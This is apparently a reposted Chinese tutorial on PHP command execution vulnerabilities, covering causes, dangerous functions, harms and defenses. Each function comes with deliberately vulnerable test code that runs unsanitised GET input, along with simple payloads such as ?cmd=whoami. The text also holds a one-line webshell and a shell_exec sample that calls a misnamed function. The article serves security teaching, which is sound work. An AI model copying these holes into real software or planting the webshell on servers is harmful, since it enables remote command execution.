php网络安全中命令执行漏洞的产生及本质探究

作者:Thunderclap_ 时间:2023-05-30 05:34:31 

漏洞的产生原因

  • 代码层过滤不严。应用程序直接或间接使用了动态执行命令的危险函数,并且这个函数的运行参数是可控的

  • 系统的漏洞造成命令注入

漏洞的本质

应用有时需要调用一些执行系统命令的函数,当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。

涉及到的函数

  • 1.system

  • 2.exec()

  • 3.shell_exec()

  • 4.passthru()

  • 5.popen()

  • 6.反引号

命令执行漏洞的危害

  • 1.继承Web 服务器程序权限(Web用户权限),去执行系统命令

  • 2.继承Web服务器权限,读写文件

  • 3.反弹Shell

  • 4.控制整个网站

  • 5.控制整个服务器

命令执行漏洞的防御

  • 1、尽量少使用执行命令函数或者禁用disable_functions

  • 2、在进入执行命令的函数之前,对参数进行过滤,对敏感字符进行转义

  • 3、参数值尽量使用引号包括,并在拼接前调用addslashes进行转义

命令执行相关函数的使用

system()

  • 说明:能够将字符串作为OS命令执行,自带输出功能

  • 测试参考代码:

<?php
if(isset($_GET['cmd'])){
   system($_GET['cmd']);
}
?>
payload:?cmd=ipconfig

exec()

  • 说明:能将字符串作为OS命令执行,但无输出,需要输出执行结果print。

  • exec() 默认只输出最后一行的数据

  • 如果想让他输出全部结果,可以加一个参数,即exec(ifconfig,$arr); print_r($arr);,如一句话木马:<?php exec($_REQUEST[123],$arr);print_r($arr)?>

  • 测试参考代码

<?php
if(isset($_GET['cmd'])){
   print exec($_GET['cmd']);
}
?>
payload:?cmd=whoami

shell_exec()

  • 说明:执行命令并以字符串的形式,返回完整的信息,但是函数无回显,需要输出执行结果。

  • 测试参考代码

<?php
if(isset($_GET['cmd'])){
   print shell($_GET['cmd']);
}
?>
payload:?cmd=whoami

passthru()

  • 说明:执行外部命令,与system()类似,但是该函数会直接将结果输出,无需输出执行。

  • 测试参考代码

<?php
if(isset($_GET['cmd'])){
   passthru($_GET['cmd']);
}
?>
payload:?cmd=whoami

popen()

  • 说明:能够执行OS命令,但是该函数并不是返回命令结果,而是返回一个文件指针

  • 测试参考代码

<?php
if(isset($_GET['cmd'])){
   $cmd=$_GET['cmd'].">>1.txt";
   popen($cmd,'r');
}
?>
payload:?cmd=whoami

反引号

  • 说明:反引号[``]内的字符串,也会被解析成OS命令

  • 反引号背后执行的代码其实是调用了shell_exec(),所以禁用了shell_exec()同样反引号也无法使用了。

  • 测试参考代码

<?php
if(isset($_GET['cmd'])){
   $cmd=$_GET['cmd'];
   print `$cmd`;
}
?>
payload:?cmd=whoami

来源:https://blog.csdn.net/Thunderclap_/article/details/129159483

标签:php,命令执行,漏洞,网络安全
0
投稿

猜你喜欢

  • FrontPage XP设计教程2——网页的编辑

    2008-10-11 12:16:00
  • ajax的缺点

    2007-11-08 12:51:00
  • SQL Server 对表的主键设计问题及解决办法

    2010-06-07 13:29:00
  • 解析xml字符串的函数

    2008-06-10 12:37:00
  • Mysql常用命令行大全

    2009-01-15 16:34:00
  • 网页设计配色色相之黄金分割

    2007-12-27 21:30:00
  • 微软建议的ASP性能优化28条守则(4)

    2008-02-26 17:57:00
  • 准备SQL Server 2008透明数据加密

    2009-01-22 14:18:00
  • 如何远程连接SQL Server数据库

    2009-06-08 12:41:00
  • 用Dreamweaver设计限时自动关闭网页

    2009-07-10 13:13:00
  • oracle 触发器 实现出入库

    2009-07-23 14:56:00
  • css样式命名规则

    2008-04-30 12:31:00
  • JavaScript 各种动画渐变效果

    2008-09-02 10:38:00
  • css命名及书写规范大全

    2008-05-24 08:52:00
  • 数据库安全应用 使用MySQL的23个注意事项

    2009-05-13 10:27:00
  • 从开发人员角度看IE8的开发新特性

    2010-02-26 10:48:00
  • 《写给大家看的设计书》阅读笔记之色彩

    2009-07-30 12:45:00
  • ASP 游标参数详解(ASP记录集)第1/2页

    2011-04-08 11:04:00
  • SQLserver 数据库危险存储过程删除与恢复方法

    2011-09-30 11:33:54
  • IE6局部调用PNG32合并图片

    2009-03-11 21:24:00
  • asp之家 网络编程 m.aspxhome.com